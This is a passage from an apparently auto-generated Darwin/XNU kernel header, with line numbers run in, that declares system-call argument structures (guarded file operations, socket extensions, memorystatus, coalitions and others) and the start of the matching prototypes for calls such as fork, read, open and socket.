user_addr_t mac; char mac_r_[PADR_(user_addr_t)]; 1751 | char macsize_l_[PADL_(int)]; int macsize; char macsize_r_[PADR_(int)]; 1752 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1753 | }; 1754 | struct fsgetpath_args { 1755 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 1756 | char bufsize_l_[PADL_(user_size_t)]; user_size_t bufsize; char bufsize_r_[PADR_(user_size_t)]; 1757 | char fsid_l_[PADL_(user_addr_t)]; user_addr_t fsid; char fsid_r_[PADR_(user_addr_t)]; 1758 | char objid_l_[PADL_(uint64_t)]; uint64_t objid; char objid_r_[PADR_(uint64_t)]; 1759 | }; 1760 | struct audit_session_self_args { 1761 | int32_t dummy; 1762 | }; 1763 | struct audit_session_join_args { 1764 | char port_l_[PADL_(mach_port_name_t)]; mach_port_name_t port; char port_r_[PADR_(mach_port_name_t)]; 1765 | }; 1766 | struct fileport_makeport_args { 1767 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1768 | char portnamep_l_[PADL_(user_addr_t)]; user_addr_t portnamep; char portnamep_r_[PADR_(user_addr_t)]; 1769 | }; 1770 | struct fileport_makefd_args { 1771 | char port_l_[PADL_(mach_port_name_t)]; mach_port_name_t port; char port_r_[PADR_(mach_port_name_t)]; 1772 | }; 1773 | struct audit_session_port_args { 1774 | char asid_l_[PADL_(au_asid_t)]; au_asid_t asid; char asid_r_[PADR_(au_asid_t)]; 1775 | char portnamep_l_[PADL_(user_addr_t)]; user_addr_t portnamep; char portnamep_r_[PADR_(user_addr_t)]; 1776 | }; 1777 | struct pid_suspend_args { 1778 | char pid_l_[PADL_(int)]; int pid; char pid_r_[PADR_(int)]; 1779 | }; 1780 | struct pid_resume_args { 1781 | char pid_l_[PADL_(int)]; int pid; char pid_r_[PADR_(int)]; 1782 | }; 1783 | #if CONFIG_EMBEDDED 1784 | struct pid_hibernate_args { 1785 | char pid_l_[PADL_(int)]; int pid; char pid_r_[PADR_(int)]; 1786 | }; 1787 | #else 1788 | #endif 1789 | #if CONFIG_EMBEDDED && SOCKETS 1790 | struct pid_shutdown_sockets_args { 1791 | char pid_l_[PADL_(int)]; int pid; char pid_r_[PADR_(int)]; 1792 | char level_l_[PADL_(int)]; int level; char level_r_[PADR_(int)]; 1793 | }; 1794 | #else 1795 | #endif 1796 | struct shared_region_map_and_slide_np_args { 1797 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1798 | char count_l_[PADL_(uint32_t)]; uint32_t count; char count_r_[PADR_(uint32_t)]; 1799 | char mappings_l_[PADL_(user_addr_t)]; user_addr_t mappings; char mappings_r_[PADR_(user_addr_t)]; 1800 | char slide_l_[PADL_(uint32_t)]; uint32_t slide; char slide_r_[PADR_(uint32_t)]; 1801 | char slide_start_l_[PADL_(user_addr_t)]; user_addr_t slide_start; char slide_start_r_[PADR_(user_addr_t)]; 1802 | char slide_size_l_[PADL_(uint32_t)]; uint32_t slide_size; char slide_size_r_[PADR_(uint32_t)]; 1803 | }; 1804 | struct kas_info_args { 1805 | char selector_l_[PADL_(int)]; int selector; char selector_r_[PADR_(int)]; 1806 | char value_l_[PADL_(user_addr_t)]; user_addr_t value; char value_r_[PADR_(user_addr_t)]; 1807 | char size_l_[PADL_(user_addr_t)]; user_addr_t size; char size_r_[PADR_(user_addr_t)]; 1808 | }; 1809 | #if CONFIG_MEMORYSTATUS 1810 | struct memorystatus_control_args { 1811 | char command_l_[PADL_(uint32_t)]; uint32_t command; char command_r_[PADR_(uint32_t)]; 1812 | char pid_l_[PADL_(int32_t)]; int32_t pid; char pid_r_[PADR_(int32_t)]; 1813 | char flags_l_[PADL_(uint32_t)]; uint32_t flags; char flags_r_[PADR_(uint32_t)]; 1814 | char buffer_l_[PADL_(user_addr_t)]; user_addr_t buffer; char buffer_r_[PADR_(user_addr_t)]; 1815 | char buffersize_l_[PADL_(user_size_t)]; user_size_t buffersize; char buffersize_r_[PADR_(user_size_t)]; 1816 | }; 1817 | #else 1818 | #endif 1819 | struct guarded_open_np_args { 1820 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1821 | char guard_l_[PADL_(user_addr_t)]; user_addr_t guard; char guard_r_[PADR_(user_addr_t)]; 1822 | char guardflags_l_[PADL_(u_int)]; u_int guardflags; char guardflags_r_[PADR_(u_int)]; 1823 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1824 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 1825 | }; 1826 | struct guarded_close_np_args { 1827 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1828 | char guard_l_[PADL_(user_addr_t)]; user_addr_t guard; char guard_r_[PADR_(user_addr_t)]; 1829 | }; 1830 | struct guarded_kqueue_np_args { 1831 | char guard_l_[PADL_(user_addr_t)]; user_addr_t guard; char guard_r_[PADR_(user_addr_t)]; 1832 | char guardflags_l_[PADL_(u_int)]; u_int guardflags; char guardflags_r_[PADR_(u_int)]; 1833 | }; 1834 | struct change_fdguard_np_args { 1835 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1836 | char guard_l_[PADL_(user_addr_t)]; user_addr_t guard; char guard_r_[PADR_(user_addr_t)]; 1837 | char guardflags_l_[PADL_(u_int)]; u_int guardflags; char guardflags_r_[PADR_(u_int)]; 1838 | char nguard_l_[PADL_(user_addr_t)]; user_addr_t nguard; char nguard_r_[PADR_(user_addr_t)]; 1839 | char nguardflags_l_[PADL_(u_int)]; u_int nguardflags; char nguardflags_r_[PADR_(u_int)]; 1840 | char fdflagsp_l_[PADL_(user_addr_t)]; user_addr_t fdflagsp; char fdflagsp_r_[PADR_(user_addr_t)]; 1841 | }; 1842 | struct proc_rlimit_control_args { 1843 | char pid_l_[PADL_(pid_t)]; pid_t pid; char pid_r_[PADR_(pid_t)]; 1844 | char flavor_l_[PADL_(int)]; int flavor; char flavor_r_[PADR_(int)]; 1845 | char arg_l_[PADL_(user_addr_t)]; user_addr_t arg; char arg_r_[PADR_(user_addr_t)]; 1846 | }; 1847 | #if SOCKETS 1848 | struct connectx_args { 1849 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 1850 | char src_l_[PADL_(user_addr_t)]; user_addr_t src; char src_r_[PADR_(user_addr_t)]; 1851 | char srclen_l_[PADL_(socklen_t)]; socklen_t srclen; char srclen_r_[PADR_(socklen_t)]; 1852 | char dsts_l_[PADL_(user_addr_t)]; user_addr_t dsts; char dsts_r_[PADR_(user_addr_t)]; 1853 | char dstlen_l_[PADL_(socklen_t)]; socklen_t dstlen; char dstlen_r_[PADR_(socklen_t)]; 1854 | char ifscope_l_[PADL_(uint32_t)]; uint32_t ifscope; char ifscope_r_[PADR_(uint32_t)]; 1855 | char aid_l_[PADL_(associd_t)]; associd_t aid; char aid_r_[PADR_(associd_t)]; 1856 | char cid_l_[PADL_(user_addr_t)]; user_addr_t cid; char cid_r_[PADR_(user_addr_t)]; 1857 | }; 1858 | struct disconnectx_args { 1859 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 1860 | char aid_l_[PADL_(associd_t)]; associd_t aid; char aid_r_[PADR_(associd_t)]; 1861 | char cid_l_[PADL_(connid_t)]; connid_t cid; char cid_r_[PADR_(connid_t)]; 1862 | }; 1863 | struct peeloff_args { 1864 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 1865 | char aid_l_[PADL_(associd_t)]; associd_t aid; char aid_r_[PADR_(associd_t)]; 1866 | }; 1867 | struct socket_delegate_args { 1868 | char domain_l_[PADL_(int)]; int domain; char domain_r_[PADR_(int)]; 1869 | char type_l_[PADL_(int)]; int type; char type_r_[PADR_(int)]; 1870 | char protocol_l_[PADL_(int)]; int protocol; char protocol_r_[PADR_(int)]; 1871 | char epid_l_[PADL_(pid_t)]; pid_t epid; char epid_r_[PADR_(pid_t)]; 1872 | }; 1873 | #else 1874 | #endif /* SOCKETS */ 1875 | struct telemetry_args { 1876 | char cmd_l_[PADL_(uint64_t)]; uint64_t cmd; char cmd_r_[PADR_(uint64_t)]; 1877 | char deadline_l_[PADL_(uint64_t)]; uint64_t deadline; char deadline_r_[PADR_(uint64_t)]; 1878 | char interval_l_[PADL_(uint64_t)]; uint64_t interval; char interval_r_[PADR_(uint64_t)]; 1879 | char leeway_l_[PADL_(uint64_t)]; uint64_t leeway; char leeway_r_[PADR_(uint64_t)]; 1880 | char arg4_l_[PADL_(uint64_t)]; uint64_t arg4; char arg4_r_[PADR_(uint64_t)]; 1881 | char arg5_l_[PADL_(uint64_t)]; uint64_t arg5; char arg5_r_[PADR_(uint64_t)]; 1882 | }; 1883 | #if CONFIG_PROC_UUID_POLICY 1884 | struct proc_uuid_policy_args { 1885 | char operation_l_[PADL_(uint32_t)]; uint32_t operation; char operation_r_[PADR_(uint32_t)]; 1886 | char uuid_l_[PADL_(user_addr_t)]; user_addr_t uuid; char uuid_r_[PADR_(user_addr_t)]; 1887 | char uuidlen_l_[PADL_(user_size_t)]; user_size_t uuidlen; char uuidlen_r_[PADR_(user_size_t)]; 1888 | char flags_l_[PADL_(uint32_t)]; uint32_t flags; char flags_r_[PADR_(uint32_t)]; 1889 | }; 1890 | #else 1891 | #endif 1892 | #if CONFIG_MEMORYSTATUS 1893 | struct memorystatus_get_level_args { 1894 | char level_l_[PADL_(user_addr_t)]; user_addr_t level; char level_r_[PADR_(user_addr_t)]; 1895 | }; 1896 | #else 1897 | #endif 1898 | struct system_override_args { 1899 | char timeout_l_[PADL_(uint64_t)]; uint64_t timeout; char timeout_r_[PADR_(uint64_t)]; 1900 | char flags_l_[PADL_(uint64_t)]; uint64_t flags; char flags_r_[PADR_(uint64_t)]; 1901 | }; 1902 | struct vfs_purge_args { 1903 | int32_t dummy; 1904 | }; 1905 | struct sfi_ctl_args { 1906 | char operation_l_[PADL_(uint32_t)]; uint32_t operation; char operation_r_[PADR_(uint32_t)]; 1907 | char sfi_class_l_[PADL_(uint32_t)]; uint32_t sfi_class; char sfi_class_r_[PADR_(uint32_t)]; 1908 | char time_l_[PADL_(uint64_t)]; uint64_t time; char time_r_[PADR_(uint64_t)]; 1909 | char out_time_l_[PADL_(user_addr_t)]; user_addr_t out_time; char out_time_r_[PADR_(user_addr_t)]; 1910 | }; 1911 | struct sfi_pidctl_args { 1912 | char operation_l_[PADL_(uint32_t)]; uint32_t operation; char operation_r_[PADR_(uint32_t)]; 1913 | char pid_l_[PADL_(pid_t)]; pid_t pid; char pid_r_[PADR_(pid_t)]; 1914 | char sfi_flags_l_[PADL_(uint32_t)]; uint32_t sfi_flags; char sfi_flags_r_[PADR_(uint32_t)]; 1915 | char out_sfi_flags_l_[PADL_(user_addr_t)]; user_addr_t out_sfi_flags; char out_sfi_flags_r_[PADR_(user_addr_t)]; 1916 | }; 1917 | #if CONFIG_COALITIONS 1918 | struct coalition_args { 1919 | char operation_l_[PADL_(uint32_t)]; uint32_t operation; char operation_r_[PADR_(uint32_t)]; 1920 | char cid_l_[PADL_(user_addr_t)]; user_addr_t cid; char cid_r_[PADR_(user_addr_t)]; 1921 | char flags_l_[PADL_(uint32_t)]; uint32_t flags; char flags_r_[PADR_(uint32_t)]; 1922 | }; 1923 | struct coalition_info_args { 1924 | char flavor_l_[PADL_(uint32_t)]; uint32_t flavor; char flavor_r_[PADR_(uint32_t)]; 1925 | char cid_l_[PADL_(user_addr_t)]; user_addr_t cid; char cid_r_[PADR_(user_addr_t)]; 1926 | char buffer_l_[PADL_(user_addr_t)]; user_addr_t buffer; char buffer_r_[PADR_(user_addr_t)]; 1927 | char bufsize_l_[PADL_(user_addr_t)]; user_addr_t bufsize; char bufsize_r_[PADR_(user_addr_t)]; 1928 | }; 1929 | #else 1930 | #endif /* COALITIONS */ 1931 | #if NECP 1932 | struct necp_match_policy_args { 1933 | char parameters_l_[PADL_(user_addr_t)]; user_addr_t parameters; char parameters_r_[PADR_(user_addr_t)]; 1934 | char parameters_size_l_[PADL_(user_size_t)]; user_size_t parameters_size; char parameters_size_r_[PADR_(user_size_t)]; 1935 | char returned_result_l_[PADL_(user_addr_t)]; user_addr_t returned_result; char returned_result_r_[PADR_(user_addr_t)]; 1936 | }; 1937 | #else 1938 | #endif /* NECP */ 1939 | struct getattrlistbulk_args { 1940 | char dirfd_l_[PADL_(int)]; int dirfd; char dirfd_r_[PADR_(int)]; 1941 | char alist_l_[PADL_(user_addr_t)]; user_addr_t alist; char alist_r_[PADR_(user_addr_t)]; 1942 | char attributeBuffer_l_[PADL_(user_addr_t)]; user_addr_t attributeBuffer; char attributeBuffer_r_[PADR_(user_addr_t)]; 1943 | char bufferSize_l_[PADL_(user_size_t)]; user_size_t bufferSize; char bufferSize_r_[PADR_(user_size_t)]; 1944 | char options_l_[PADL_(uint64_t)]; uint64_t options; char options_r_[PADR_(uint64_t)]; 1945 | }; 1946 | struct openat_args { 1947 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1948 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1949 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1950 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 1951 | }; 1952 | struct openat_nocancel_args { 1953 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1954 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1955 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 1956 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 1957 | }; 1958 | struct renameat_args { 1959 | char fromfd_l_[PADL_(int)]; int fromfd; char fromfd_r_[PADR_(int)]; 1960 | char from_l_[PADL_(user_addr_t)]; user_addr_t from; char from_r_[PADR_(user_addr_t)]; 1961 | char tofd_l_[PADL_(int)]; int tofd; char tofd_r_[PADR_(int)]; 1962 | char to_l_[PADL_(user_addr_t)]; user_addr_t to; char to_r_[PADR_(user_addr_t)]; 1963 | }; 1964 | struct faccessat_args { 1965 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1966 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1967 | char amode_l_[PADL_(int)]; int amode; char amode_r_[PADR_(int)]; 1968 | char flag_l_[PADL_(int)]; int flag; char flag_r_[PADR_(int)]; 1969 | }; 1970 | struct fchmodat_args { 1971 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1972 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1973 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 1974 | char flag_l_[PADL_(int)]; int flag; char flag_r_[PADR_(int)]; 1975 | }; 1976 | struct fchownat_args { 1977 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1978 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1979 | char uid_l_[PADL_(uid_t)]; uid_t uid; char uid_r_[PADR_(uid_t)]; 1980 | char gid_l_[PADL_(gid_t)]; gid_t gid; char gid_r_[PADR_(gid_t)]; 1981 | char flag_l_[PADL_(int)]; int flag; char flag_r_[PADR_(int)]; 1982 | }; 1983 | struct fstatat_args { 1984 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1985 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1986 | char ub_l_[PADL_(user_addr_t)]; user_addr_t ub; char ub_r_[PADR_(user_addr_t)]; 1987 | char flag_l_[PADL_(int)]; int flag; char flag_r_[PADR_(int)]; 1988 | }; 1989 | struct fstatat64_args { 1990 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 1991 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1992 | char ub_l_[PADL_(user_addr_t)]; user_addr_t ub; char ub_r_[PADR_(user_addr_t)]; 1993 | char flag_l_[PADL_(int)]; int flag; char flag_r_[PADR_(int)]; 1994 | }; 1995 | struct linkat_args { 1996 | char fd1_l_[PADL_(int)]; int fd1; char fd1_r_[PADR_(int)]; 1997 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 1998 | char fd2_l_[PADL_(int)]; int fd2; char fd2_r_[PADR_(int)]; 1999 | char link_l_[PADL_(user_addr_t)]; user_addr_t link; char link_r_[PADR_(user_addr_t)]; 2000 | char flag_l_[PADL_(int)]; int flag; char flag_r_[PADR_(int)]; 2001 | }; 2002 | struct unlinkat_args { 2003 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 2004 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 2005 | char flag_l_[PADL_(int)]; int flag; char flag_r_[PADR_(int)]; 2006 | }; 2007 | struct readlinkat_args { 2008 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 2009 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 2010 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 2011 | char bufsize_l_[PADL_(user_size_t)]; user_size_t bufsize; char bufsize_r_[PADR_(user_size_t)]; 2012 | }; 2013 | struct symlinkat_args { 2014 | char path1_l_[PADL_(user_addr_t)]; user_addr_t path1; char path1_r_[PADR_(user_addr_t)]; 2015 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 2016 | char path2_l_[PADL_(user_addr_t)]; user_addr_t path2; char path2_r_[PADR_(user_addr_t)]; 2017 | }; 2018 | struct mkdirat_args { 2019 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 2020 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 2021 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 2022 | }; 2023 | struct getattrlistat_args { 2024 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 2025 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 2026 | char alist_l_[PADL_(user_addr_t)]; user_addr_t alist; char alist_r_[PADR_(user_addr_t)]; 2027 | char attributeBuffer_l_[PADL_(user_addr_t)]; user_addr_t attributeBuffer; char attributeBuffer_r_[PADR_(user_addr_t)]; 2028 | char bufferSize_l_[PADL_(user_size_t)]; user_size_t bufferSize; char bufferSize_r_[PADR_(user_size_t)]; 2029 | char options_l_[PADL_(user_ulong_t)]; user_ulong_t options; char options_r_[PADR_(user_ulong_t)]; 2030 | }; 2031 | struct proc_trace_log_args { 2032 | char pid_l_[PADL_(pid_t)]; pid_t pid; char pid_r_[PADR_(pid_t)]; 2033 | char uniqueid_l_[PADL_(uint64_t)]; uint64_t uniqueid; char uniqueid_r_[PADR_(uint64_t)]; 2034 | }; 2035 | struct bsdthread_ctl_args { 2036 | char cmd_l_[PADL_(user_addr_t)]; user_addr_t cmd; char cmd_r_[PADR_(user_addr_t)]; 2037 | char arg1_l_[PADL_(user_addr_t)]; user_addr_t arg1; char arg1_r_[PADR_(user_addr_t)]; 2038 | char arg2_l_[PADL_(user_addr_t)]; user_addr_t arg2; char arg2_r_[PADR_(user_addr_t)]; 2039 | char arg3_l_[PADL_(user_addr_t)]; user_addr_t arg3; char arg3_r_[PADR_(user_addr_t)]; 2040 | }; 2041 | struct openbyid_np_args { 2042 | char fsid_l_[PADL_(user_addr_t)]; user_addr_t fsid; char fsid_r_[PADR_(user_addr_t)]; 2043 | char objid_l_[PADL_(user_addr_t)]; user_addr_t objid; char objid_r_[PADR_(user_addr_t)]; 2044 | char oflags_l_[PADL_(int)]; int oflags; char oflags_r_[PADR_(int)]; 2045 | }; 2046 | #if SOCKETS 2047 | struct recvmsg_x_args { 2048 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 2049 | char msgp_l_[PADL_(user_addr_t)]; user_addr_t msgp; char msgp_r_[PADR_(user_addr_t)]; 2050 | char cnt_l_[PADL_(u_int)]; u_int cnt; char cnt_r_[PADR_(u_int)]; 2051 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 2052 | }; 2053 | struct sendmsg_x_args { 2054 | char s_l_[PADL_(int)]; int s; char s_r_[PADR_(int)]; 2055 | char msgp_l_[PADL_(user_addr_t)]; user_addr_t msgp; char msgp_r_[PADR_(user_addr_t)]; 2056 | char cnt_l_[PADL_(u_int)]; u_int cnt; char cnt_r_[PADR_(u_int)]; 2057 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 2058 | }; 2059 | #else 2060 | #endif /* SOCKETS */ 2061 | struct thread_selfusage_args { 2062 | int32_t dummy; 2063 | }; 2064 | #if CONFIG_CSR 2065 | struct csrctl_args { 2066 | char op_l_[PADL_(uint32_t)]; uint32_t op; char op_r_[PADR_(uint32_t)]; 2067 | char useraddr_l_[PADL_(user_addr_t)]; user_addr_t useraddr; char useraddr_r_[PADR_(user_addr_t)]; 2068 | char usersize_l_[PADL_(user_addr_t)]; user_addr_t usersize; char usersize_r_[PADR_(user_addr_t)]; 2069 | }; 2070 | #else 2071 | #endif /* CSR */ 2072 | struct guarded_open_dprotected_np_args { 2073 | char path_l_[PADL_(user_addr_t)]; user_addr_t path; char path_r_[PADR_(user_addr_t)]; 2074 | char guard_l_[PADL_(user_addr_t)]; user_addr_t guard; char guard_r_[PADR_(user_addr_t)]; 2075 | char guardflags_l_[PADL_(u_int)]; u_int guardflags; char guardflags_r_[PADR_(u_int)]; 2076 | char flags_l_[PADL_(int)]; int flags; char flags_r_[PADR_(int)]; 2077 | char dpclass_l_[PADL_(int)]; int dpclass; char dpclass_r_[PADR_(int)]; 2078 | char dpflags_l_[PADL_(int)]; int dpflags; char dpflags_r_[PADR_(int)]; 2079 | char mode_l_[PADL_(int)]; int mode; char mode_r_[PADR_(int)]; 2080 | }; 2081 | struct guarded_write_np_args { 2082 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 2083 | char guard_l_[PADL_(user_addr_t)]; user_addr_t guard; char guard_r_[PADR_(user_addr_t)]; 2084 | char cbuf_l_[PADL_(user_addr_t)]; user_addr_t cbuf; char cbuf_r_[PADR_(user_addr_t)]; 2085 | char nbyte_l_[PADL_(user_size_t)]; user_size_t nbyte; char nbyte_r_[PADR_(user_size_t)]; 2086 | }; 2087 | struct guarded_pwrite_np_args { 2088 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 2089 | char guard_l_[PADL_(user_addr_t)]; user_addr_t guard; char guard_r_[PADR_(user_addr_t)]; 2090 | char buf_l_[PADL_(user_addr_t)]; user_addr_t buf; char buf_r_[PADR_(user_addr_t)]; 2091 | char nbyte_l_[PADL_(user_size_t)]; user_size_t nbyte; char nbyte_r_[PADR_(user_size_t)]; 2092 | char offset_l_[PADL_(off_t)]; off_t offset; char offset_r_[PADR_(off_t)]; 2093 | }; 2094 | struct guarded_writev_np_args { 2095 | char fd_l_[PADL_(int)]; int fd; char fd_r_[PADR_(int)]; 2096 | char guard_l_[PADL_(user_addr_t)]; user_addr_t guard; char guard_r_[PADR_(user_addr_t)]; 2097 | char iovp_l_[PADL_(user_addr_t)]; user_addr_t iovp; char iovp_r_[PADR_(user_addr_t)]; 2098 | char iovcnt_l_[PADL_(u_int)]; u_int iovcnt; char iovcnt_r_[PADR_(u_int)]; 2099 | }; 2100 | #if CONFIG_SECLUDED_RENAME 2101 | struct rename_ext_args { 2102 | char from_l_[PADL_(user_addr_t)]; user_addr_t from; char from_r_[PADR_(user_addr_t)]; 2103 | char to_l_[PADL_(user_addr_t)]; user_addr_t to; char to_r_[PADR_(user_addr_t)]; 2104 | char flags_l_[PADL_(u_int)]; u_int flags; char flags_r_[PADR_(u_int)]; 2105 | }; 2106 | #else 2107 | #endif 2108 | #if CONFIG_CODE_DECRYPTION 2109 | struct mremap_encrypted_args { 2110 | char addr_l_[PADL_(user_addr_t)]; user_addr_t addr; char addr_r_[PADR_(user_addr_t)]; 2111 | char len_l_[PADL_(user_size_t)]; user_size_t len; char len_r_[PADR_(user_size_t)]; 2112 | char cryptid_l_[PADL_(uint32_t)]; uint32_t cryptid; char cryptid_r_[PADR_(uint32_t)]; 2113 | char cputype_l_[PADL_(uint32_t)]; uint32_t cputype; char cputype_r_[PADR_(uint32_t)]; 2114 | char cpusubtype_l_[PADL_(uint32_t)]; uint32_t cpusubtype; char cpusubtype_r_[PADR_(uint32_t)]; 2115 | }; 2116 | #else 2117 | #endif 2118 | int nosys(struct proc *, struct nosys_args *, int *); 2119 | void exit(struct proc *, struct exit_args *, int32_t *); 2120 | int fork(struct proc *, struct fork_args *, int *); 2121 | int read(struct proc *, struct read_args *, user_ssize_t *); 2122 | int write(struct proc *, struct write_args *, user_ssize_t *); 2123 | int open(struct proc *, struct open_args *, int *); 2124 | int close(struct proc *, struct close_args *, int *); 2125 | int wait4(struct proc *, struct wait4_args *, int *); 2126 | int link(struct proc *, struct link_args *, int *); 2127 | int unlink(struct proc *, struct unlink_args *, int *); 2128 | int chdir(struct proc *, struct chdir_args *, int *); 2129 | int fchdir(struct proc *, struct fchdir_args *, int *); 2130 | int mknod(struct proc *, struct mknod_args *, int *); 2131 | int chmod(struct proc *, struct chmod_args *, int *); 2132 | int chown(struct proc *, struct chown_args *, int *); 2133 | int getfsstat(struct proc *, struct getfsstat_args *, int *); 2134 | int getpid(struct proc *, struct getpid_args *, int *); 2135 | int setuid(struct proc *, struct setuid_args *, int *); 2136 | int getuid(struct proc *, struct getuid_args *, int *); 2137 | int geteuid(struct proc *, struct geteuid_args *, int *); 2138 | int ptrace(struct proc *, struct ptrace_args *, int *); 2139 | #if SOCKETS 2140 | int recvmsg(struct proc *, struct recvmsg_args *, int *); 2141 | int sendmsg(struct proc *, struct sendmsg_args *, int *); 2142 | int recvfrom(struct proc *, struct recvfrom_args *, int *); 2143 | int accept(struct proc *, struct accept_args *, int *); 2144 | int getpeername(struct proc *, struct getpeername_args *, int *); 2145 | int getsockname(struct proc *, struct getsockname_args *, int *); 2146 | #else 2147 | #endif /* SOCKETS */ 2148 | int access(struct proc *, struct access_args *, int *); 2149 | int chflags(struct proc *, struct chflags_args *, int *); 2150 | int fchflags(struct proc *, struct fchflags_args *, int *); 2151 | int sync(struct proc *, struct sync_args *, int *); 2152 | int kill(struct proc *, struct kill_args *, int *); 2153 | int getppid(struct proc *, struct getppid_args *, int *); 2154 | int dup(struct proc *, struct dup_args *, int *); 2155 | int pipe(struct proc *, struct pipe_args *, int *); 2156 | int getegid(struct proc *, struct getegid_args *, int *); 2157 | int sigaction(struct proc *, struct sigaction_args *, int *); 2158 | int getgid(struct proc *, struct getgid_args *, int *); 2159 | int sigprocmask(struct proc *, struct sigprocmask_args *, int *); 2160 | int getlogin(struct proc *, struct getlogin_args *, int *); 2161 | int setlogin(struct proc *, struct setlogin_args *, int *); 2162 | int acct(struct proc *, struct acct_args *, int *); 2163 | int sigpending(struct proc *, struct sigpending_args *, int *); 2164 | int sigaltstack(struct proc *, struct sigaltstack_args *, int *); 2165 | int ioctl(struct proc *, struct ioctl_args *, int *); 2166 | int reboot(struct proc *, struct reboot_args *, int *); 2167 | int revoke(struct proc *, struct revoke_args *, int *); 2168 | int symlink(struct proc *, struct symlink_args *, int *); 2169 | int readlink(struct proc *, struct readlink_args *, int *); 2170 | int execve(struct proc *, struct execve_args *, int *); 2171 | int umask(struct proc *, struct umask_args *, int *); 2172 | int chroot(struct proc *, struct chroot_args *, int *); 2173 | int msync(struct proc *, struct msync_args *, int *); 2174 | int vfork(struct proc *, struct vfork_args *, int *); 2175 | int munmap(struct proc *, struct munmap_args *, int *); 2176 | int mprotect(struct proc *, struct mprotect_args *, int *); 2177 | int madvise(struct proc *, struct madvise_args *, int *); 2178 | int mincore(struct proc *, struct mincore_args *, int *); 2179 | int getgroups(struct proc *, struct getgroups_args *, int *); 2180 | int setgroups(struct proc *, struct setgroups_args *, int *); 2181 | int getpgrp(struct proc *, struct getpgrp_args *, int *); 2182 | int setpgid(struct proc *, struct setpgid_args *, int *); 2183 | int setitimer(struct proc *, struct setitimer_args *, int *); 2184 | int swapon(struct proc *, struct swapon_args *, int *); 2185 | int getitimer(struct proc *, struct getitimer_args *, int *); 2186 | int getdtablesize(struct proc *, struct getdtablesize_args *, int *); 2187 | int dup2(struct proc *, struct dup2_args *, int *); 2188 | int fcntl(struct proc *, struct fcntl_args *, int *); 2189 | int select(struct proc *, struct select_args *, int *); 2190 | int fsync(struct proc *, struct fsync_args *, int *); 2191 | int setpriority(struct proc *, struct setpriority_args *, int *); 2192 | #if SOCKETS 2193 | int socket(struct proc *, struct socket_args *, int *); 2194 | int connect(struct proc *, struct connect_args *, int *); 2195 | #else 2196 | #endif /* SOCKETS */ 2197 | int getpriority(struct proc *, struct getpriority_args *, int *); 2198 | #if SOCKETS 2199 | int bind(struct proc *, struct bind_args *, int *); 2200 | int setsockopt(struct proc *, struct setsockopt_args *, int *); 2201 | int listen(struct proc *, struct listen_args *, int *); 2202 | #else 2203 | #endif /* SOCKETS */ 2204 | int sigsuspend(struct proc *, struct sigsuspend_args *, int *); 2205 | #if SOCKETS 2206 | #else 2207 | #endif /* SOCKETS */ 2208 | int gettimeofday(struct proc *, struct gettimeofday_args 